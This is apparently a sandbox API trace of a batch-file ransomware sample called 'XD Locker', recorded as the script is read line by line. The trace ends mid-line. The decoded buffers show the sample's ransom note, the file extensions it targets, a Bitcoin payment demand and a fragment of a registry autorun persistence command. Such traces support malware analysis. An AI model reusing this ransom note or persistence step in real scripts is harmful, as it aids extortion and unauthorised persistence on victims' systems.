[0039.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.554] GetFileType (hFile=0x74) returned 0x1 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0039.554] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=5441, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0039.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=17, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title XD Locker\r\nfile have been encryoted by XD Locker\r\n") returned 17 [0039.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0039.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.554] GetFileType (hFile=0x74) returned 0x1 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1541 [0039.554] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=5508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0039.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 67 [0039.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0039.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.555] GetFileType (hFile=0x74) returned 0x1 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1584 [0039.555] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=5576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0039.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 68 [0039.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0039.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.555] GetFileType (hFile=0x74) returned 0x1 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15c8 [0039.555] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=5644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0039.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0039.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0039.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.555] GetFileType (hFile=0x74) returned 0x1 [0039.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x160c [0039.556] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=5708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0039.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0039.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0039.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.556] GetFileType (hFile=0x74) returned 0x1 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x164c [0039.556] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=5771, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0039.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0039.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0039.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.556] GetFileType (hFile=0x74) returned 0x1 [0039.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x168b [0039.556] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=5833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0039.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0039.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0039.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.557] GetFileType (hFile=0x74) returned 0x1 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16c9 [0039.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=5890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0039.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0039.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0039.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.557] GetFileType (hFile=0x74) returned 0x1 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1702 [0039.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=5946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0039.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0039.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0039.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.558] GetFileType (hFile=0x74) returned 0x1 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0039.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0039.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=42, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted\r\n ####\r\n") returned 42 [0039.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0039.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.558] GetFileType (hFile=0x74) returned 0x1 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0039.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0039.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo The encrypted file\r\n been encrypted\r\n") returned 25 [0039.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0039.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.559] GetFileType (hFile=0x74) returned 0x1 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0039.559] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0039.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .zip .rar .gif .ink .txt .pdf\r\npted\r\n") returned 36 [0039.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0039.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.559] GetFileType (hFile=0x74) returned 0x1 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0039.559] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0039.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .vbs .doc .mp4 .mp3 .wav .docx\r\nted\r\n") returned 37 [0039.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0039.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.560] GetFileType (hFile=0x74) returned 0x1 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0039.560] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0039.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo .jpg .png .htm .url .html\r\nocx\r\n") returned 32 [0039.560] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0039.560] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.560] GetFileType (hFile=0x74) returned 0x1 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0039.560] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=6153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0039.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\n") returned 35 [0039.560] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0039.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.561] GetFileType (hFile=0x74) returned 0x1 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1809 [0039.561] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=6188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0039.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +XD Locker encrypt file XD +\r\n") returned 35 [0039.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0039.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.561] GetFileType (hFile=0x74) returned 0x1 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x182c [0039.561] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=6223, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0039.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0039.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0039.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.562] GetFileType (hFile=0x74) returned 0x1 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x184f [0039.562] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=6258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0039.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo +===========time===========+\r\n") returned 35 [0039.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0039.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.562] GetFileType (hFile=0x74) returned 0x1 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0039.562] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0039.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo + 90 +\r\n") returned 35 [0039.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0039.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.562] GetFileType (hFile=0x74) returned 0x1 [0039.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0039.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0039.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0039.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0039.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.563] GetFileType (hFile=0x74) returned 0x1 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0039.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0039.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n") returned 59 [0039.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0039.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.563] GetFileType (hFile=0x74) returned 0x1 [0039.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0039.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0039.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nho Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n") returned 2 [0039.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0039.564] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.564] GetFileType (hFile=0x74) returned 0x1 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0039.564] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.564] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0039.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=34, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo 